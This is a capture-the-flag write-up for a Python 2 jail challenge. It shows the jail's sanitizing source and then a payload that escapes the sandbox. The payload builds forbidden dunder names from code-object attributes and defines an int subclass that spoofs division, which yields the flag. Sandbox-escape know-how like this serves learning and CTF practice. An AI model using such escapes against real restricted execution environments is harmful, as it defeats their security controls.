For this python jail, they give us an IP to connect to as well as the source code:
import re
import sys
import string
from sys import stdout
sys.stderr = stdout
sanitize = re.compile(
r'(?:__|import|globals|locals|exec|eval|join|format|replace|translate|try|except|with|content|frame|back)'
).sub
trusted_builtins = """
True False type int
""".split()
alphabet = ' \n\r0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ(),.:;<=>[]_{}'
t1 = ''.join(chr(code) for code in xrange(256))
t2 = []
for i in t1:
if i in alphabet:
t2.append(i)
else:
t2.append(' ')
trans_table = string.maketrans(t1, ''.join(t2))
EXPECTED = 13.37
del alphabet, t1, t2, i, sys, string, re
def clear_builtins():
orig = __builtins__.__dict__.copy()
__builtins__.__dict__.clear()
for i in trusted_builtins:
__builtins__.__dict__[i] = orig[i]
part1_of_flag = '******************'
part2_of_flag = '******************'
egg = 'egg'
def main():
if raw_input() != 'leetleetleetleet':
return
print ('Welcome to pyjail!\n\n'
'Try to get the flag!\n'
'Use ctrl+D or --- to submit your code\n')
stdout.flush()
code = []
total_bytes = 0
while True:
try:
value = raw_input()
total_bytes += len(value)
assert total_bytes < 1337
if value == '---':
break
code.append(value)
except EOFError:
break
code = sanitize("/*ERR*/", '\n'.join(code).translate(trans_table))
clear_builtins()
def sandbox():
t=r=y = t=o = s=o=l=v=e = t=h=e = d=i=v=i=s=i=o=n = q=u=i=z = 0
def exec_in_context(ctx):
exec code in ctx
print 'Flag is',
try:
assert FLAG != part1_of_flag
print FLAG
except:
print '********************'
def we_must_be_sure_flag_part1_is_ready():
global FLAG
FLAG = part1_of_flag
def we_must_be_sure_flag_part2_is_ready():
global FLAG
FLAG += part2_of_flag
def divider(v1):
a = "You are lucky!"
b = "Try again!"
def divider(v2):
i,t,s, n,o,t, s,o, h,a,r,d
if int(v1) / int(v2) == EXPECTED:
print a
we_must_be_sure_flag_part2_is_ready()
else:
print b
we_must_be_sure_flag_part1_is_ready()
return divider
exec_in_context({'div': divider})
sandbox()
if __name__ == '__main__':
main()
This program sanitizes our code by replacing specified strings with /*ERR*/:
r'(?:__|import|globals|locals|exec|eval|join|format|replace|translate|try|except|with|content|frame|back)'
It also only allows the following characters to be used:
' \n\r0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ(),.:;<=>[]_{}'
It also clears the current built ins and replaces them with the "safe" variables:
True False type int
Our code is then executed with access to the divider function which calls we_must_be_sure_flag_part1_is_ready() and returns a different divider function. Divider(v2) checks if int(v1) / int(v2) is EXPECTED, which was initialized to 13.37.
So, somehow magically we're supposed to make two 'integers' equal a float?
import black_magic
I first decided to attempt to create another object that inherits the int object. I modified __int__ to simply return what its given. I also modified __div__ to return the float 13.37 every time it is called. I used type to create my new pseudo-integer class object.
def fint(self): return self
def fdiv(self,o): return 13.37
a = type('new_int', (int,), {'__div__': fdiv, '__int__': fint})
This allows so that when I create a new_int using an integer, a(1), performing int(new_int) will return an integer value, but still be of type new_int. Using a float, a(1.0), would cause int(new_int) to return a float value and throw an exception.
The jail doesn't allow me to enter the quote ( ' ) character sadly. Good thing there is a listof strings in div.func_code.co_freevars:
('d', 'h', 'i', 'n', 'o', 'r', 's', 't', 'we_must_be_sure_flag_part1_is_ready', 'we_must_be_sure_flag_part2_is_ready')
I can also get the 'v' character from div.func_name
But wait! The plus (+) operator cannot be used AND replace(), join(), format(), and translate() cannot be used!!!
Good thing there is a ljust() function then!
The ljust function takes a given string and returns a modified string at least
n wide and fills any extra characters with optionally given padding (default is space).
s = div.func_code.co_freevars
_div_ = s[8][2].ljust(2, s[8][2]).ljust(3, s[0]).ljust(4, s[2]).ljust(5, div.func_name[2]).ljust(6, s[8][2]).ljust(7, s[8][2])
_int_ = s[8][2].ljust(2, s[8][2]).ljust(3, s[2]).ljust(4, s[3]).ljust(5, s[7]).ljust(6, s[8][2]).ljust(7, s[8][2])
print _div_;print _int_
---
__div__
__int__
After this it was just plug and play:
leetleetleetleet
Welcome to pyjail!
Try to get the flag!
Use ctrl+D or --- to submit your code
def fint(self):return self
def fdiv(self,o):return 13.37
s=div.func_code.co_freevars
_div_=s[8][2].ljust(2,s[8][2]).ljust(3,s[0]).ljust(4,s[2]).ljust(5,div.func_name[2]).ljust(6,s[8][2]).ljust(7,s[8][2])
_int_=s[8][2].ljust(2,s[8][2]).ljust(3,s[2]).ljust(4,s[3]).ljust(5,s[7]).ljust(6,s[8][2]).ljust(7,s[8][2])
a=type(s[0],(int,),{_div_: fdiv,_int_:fint})
div(a(1))(a(1))
---
You are lucky!
Flag is 7hE_0w15_4R3_n07_wh47_7h3Y_533m--7hEr3_15_4_m4n_1n_a_5m111n9_649